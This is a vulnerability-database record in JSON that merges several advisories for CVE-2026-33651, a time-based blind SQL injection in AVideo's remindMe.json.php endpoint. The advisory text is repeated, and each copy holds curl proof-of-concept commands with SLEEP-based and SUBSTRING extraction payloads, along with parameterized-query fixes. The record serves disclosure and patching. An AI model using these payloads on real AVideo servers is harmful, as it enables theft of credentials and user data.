{"id":"CVE-2026-33651","aliases":["EUVD-2026-14490","GHSA-pvw4-p2jm-chjm"],"status":"published","title":"AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit 75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00361,"percentile":0.30294,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-89"],"published":"2026-03-23T18:38:22Z","modified":"2026-10-28T02:30:45Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pvw4-p2jm-chjm","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/75d45780728294ededa1e3f842f95295d3e7d144","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33651","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pvw4-p2jm-chjm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33651.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33651","title":"AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit 75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.","status":"published","published":"2026-03-23T18:38:22.655Z","modified":"2026-03-24T14:26:15.593Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-14490","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit 75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.","status":"published","published":"2026-03-23T18:38:22Z","modified":"2026-03-24T14:26:15Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:30.317985Z"}],"ghsa":[{"id":"GHSA-pvw4-p2jm-chjm","title":"AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()","description":"## Summary\n\nThe `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.\n\n## Details\n\nThe vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:\n\n**Step 1 — User input (no sanitization):**\n`plugin/Live/remindMe.json.php:15`:\n```php\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\n**Step 2 — Auth check passes for any user:**\n`plugin/Live/Live.php:4126`:\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = __('Must be logged');\n    return $obj;\n}\n```\n\n**Step 3 — intval() applied only internally, original variable unchanged:**\n`plugin/Live/Live.php:4141-4143`:\n```php\n$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only\n$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same\n```\n\n`objects/Object.php:84` (inside `getFromDb()`):\n```php\n$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable\n```\n\nWith input like `1\" AND SLEEP(5) --`, `intval()` extracts `1`, loads schedule ID 1 successfully. The caller's `$live_schedule_id` remains `1\" AND SLEEP(5) --`.\n\n**Step 4 — Tainted value flows to type string construction:**\n`plugin/Live/Live.php:4152` → `Live.php:4193-4194`:\n```php\n$reminders = self::getLiveScheduleReminders($live_schedule_id);\n\n// getLiveScheduleReminders calls:\n$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);\n// which builds: \"LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}\"\nreturn Scheduler_commands::getAllActiveOrToRepeat($type);\n```\n\n**Step 5 — SQL injection sink:**\n`plugin/Scheduler/Objects/Scheduler_commands.php:340-347`:\n```php\n$sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status='a' OR status='r') \";\nif(!empty($type)){\n    $sql .= ' AND `type` LIKE \"'.$type.'%\" ';  // LINE 343: direct concatenation\n}\n$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization\n```\n\n## PoC\n\n**Prerequisites:** Any authenticated user session, at least one `live_schedule` record (ID=1).\n\n**Step 1 — Baseline request (should return quickly):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  \"http://target/plugin/Live/remindMe.json.php?live_schedule_id=1\u0026minutesEarlier=10\"\n```\nExpected: response in ~0.1-0.5s\n\n**Step 2 — Time-based injection (5 second delay):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND SLEEP(5) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nExpected: response delayed by ~5 seconds, confirming injection.\n\nThe resulting SQL becomes:\n```sql\nSELECT * FROM scheduler_commands\nWHERE (status='a' OR status='r')\n  AND `type` LIKE \"LiveScheduleReminder_123_1\" AND SLEEP(5) -- %\"\n```\n\n**Step 3 — Data extraction (example: first character of database user):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND IF(SUBSTRING(user(),1,1)=\"r\",SLEEP(5),0) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nIf the response is delayed 5 seconds, the first character of `user()` is `r`.\n\n## Impact\n\n- **Full database read**: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.\n- **Data modification**: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.\n- **Account takeover**: Extracted admin password hashes or session tokens enable full platform compromise.\n- **Low barrier**: Only requires a basic authenticated account — no admin privileges needed.\n\n## Recommended Fix\n\n**Option 1 — Parameterize the query in `Scheduler_commands::getAllActiveOrToRepeat()`:**\n\n`plugin/Scheduler/Objects/Scheduler_commands.php:335-347`:\n```php\npublic static function getAllActiveOrToRepeat($type='') {\n    global $global;\n    if (!static::isTableInstalled()) {\n        return false;\n    }\n    $sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status=? OR status=?) \";\n    $formats = \"ss\";\n    $values = [self::$statusActive, self::$statusRepeat];\n\n    if(!empty($type)){\n        $sql .= ' AND `type` LIKE ? ';\n        $formats .= \"s\";\n        $values[] = $type . \"%\";\n    }\n\n    $sql .= self::getSqlFromPost();\n    $res = sqlDAL::readSql($sql, $formats, $values);\n    $fullData = sqlDAL::fetchAllAssoc($res);\n    sqlDAL::close($res);\n    $rows = array();\n    if ($res != false) {\n        foreach ($fullData as $row) {\n            $rows[] = $row;\n        }\n    }\n    return $rows;\n}\n```\n\n**Option 2 — Additionally sanitize at the entry point:**\n\n`plugin/Live/remindMe.json.php:15` (defense in depth):\n```php\n$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\nBoth fixes should be applied for defense in depth.","status":"published","published":"2026-03-25T17:50:16Z","modified":"2026-03-25T17:50:16Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33651","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit 75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.","status":"published","published":"2026-03-23T19:16:41.383Z","modified":"2026-06-17T10:37:52.003Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33651","title":"AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit 75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.","status":"published","published":"2026-03-23T18:38:22.655Z","modified":"2026-10-28T02:30:45.707181633Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-pvw4-p2jm-chjm","title":"AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()","description":"## Summary\n\nThe `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.\n\n## Details\n\nThe vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:\n\n**Step 1 — User input (no sanitization):**\n`plugin/Live/remindMe.json.php:15`:\n```php\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\n**Step 2 — Auth check passes for any user:**\n`plugin/Live/Live.php:4126`:\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = __('Must be logged');\n    return $obj;\n}\n```\n\n**Step 3 — intval() applied only internally, original variable unchanged:**\n`plugin/Live/Live.php:4141-4143`:\n```php\n$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only\n$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same\n```\n\n`objects/Object.php:84` (inside `getFromDb()`):\n```php\n$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable\n```\n\nWith input like `1\" AND SLEEP(5) --`, `intval()` extracts `1`, loads schedule ID 1 successfully. The caller's `$live_schedule_id` remains `1\" AND SLEEP(5) --`.\n\n**Step 4 — Tainted value flows to type string construction:**\n`plugin/Live/Live.php:4152` → `Live.php:4193-4194`:\n```php\n$reminders = self::getLiveScheduleReminders($live_schedule_id);\n\n// getLiveScheduleReminders calls:\n$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);\n// which builds: \"LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}\"\nreturn Scheduler_commands::getAllActiveOrToRepeat($type);\n```\n\n**Step 5 — SQL injection sink:**\n`plugin/Scheduler/Objects/Scheduler_commands.php:340-347`:\n```php\n$sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status='a' OR status='r') \";\nif(!empty($type)){\n    $sql .= ' AND `type` LIKE \"'.$type.'%\" ';  // LINE 343: direct concatenation\n}\n$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization\n```\n\n## PoC\n\n**Prerequisites:** Any authenticated user session, at least one `live_schedule` record (ID=1).\n\n**Step 1 — Baseline request (should return quickly):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  \"http://target/plugin/Live/remindMe.json.php?live_schedule_id=1\u0026minutesEarlier=10\"\n```\nExpected: response in ~0.1-0.5s\n\n**Step 2 — Time-based injection (5 second delay):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND SLEEP(5) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nExpected: response delayed by ~5 seconds, confirming injection.\n\nThe resulting SQL becomes:\n```sql\nSELECT * FROM scheduler_commands\nWHERE (status='a' OR status='r')\n  AND `type` LIKE \"LiveScheduleReminder_123_1\" AND SLEEP(5) -- %\"\n```\n\n**Step 3 — Data extraction (example: first character of database user):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND IF(SUBSTRING(user(),1,1)=\"r\",SLEEP(5),0) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nIf the response is delayed 5 seconds, the first character of `user()` is `r`.\n\n## Impact\n\n- **Full database read**: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.\n- **Data modification**: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.\n- **Account takeover**: Extracted admin password hashes or session tokens enable full platform compromise.\n- **Low barrier**: Only requires a basic authenticated account — no admin privileges needed.\n\n## Recommended Fix\n\n**Option 1 — Parameterize the query in `Scheduler_commands::getAllActiveOrToRepeat()`:**\n\n`plugin/Scheduler/Objects/Scheduler_commands.php:335-347`:\n```php\npublic static function getAllActiveOrToRepeat($type='') {\n    global $global;\n    if (!static::isTableInstalled()) {\n        return false;\n    }\n    $sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status=? OR status=?) \";\n    $formats = \"ss\";\n    $values = [self::$statusActive, self::$statusRepeat];\n\n    if(!empty($type)){\n        $sql .= ' AND `type` LIKE ? ';\n        $formats .= \"s\";\n        $values[] = $type . \"%\";\n    }\n\n    $sql .= self::getSqlFromPost();\n    $res = sqlDAL::readSql($sql, $formats, $values);\n    $fullData = sqlDAL::fetchAllAssoc($res);\n    sqlDAL::close($res);\n    $rows = array();\n    if ($res != false) {\n        foreach ($fullData as $row) {\n            $rows[] = $row;\n        }\n    }\n    return $rows;\n}\n```\n\n**Option 2 — Additionally sanitize at the entry point:**\n\n`plugin/Live/remindMe.json.php:15` (defense in depth):\n```php\n$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\nBoth fixes should be applied for defense in depth.","status":"published","published":"2026-03-25T17:50:16Z","modified":"2026-03-25T18:11:20.320934Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:53.700556Z"}]}}
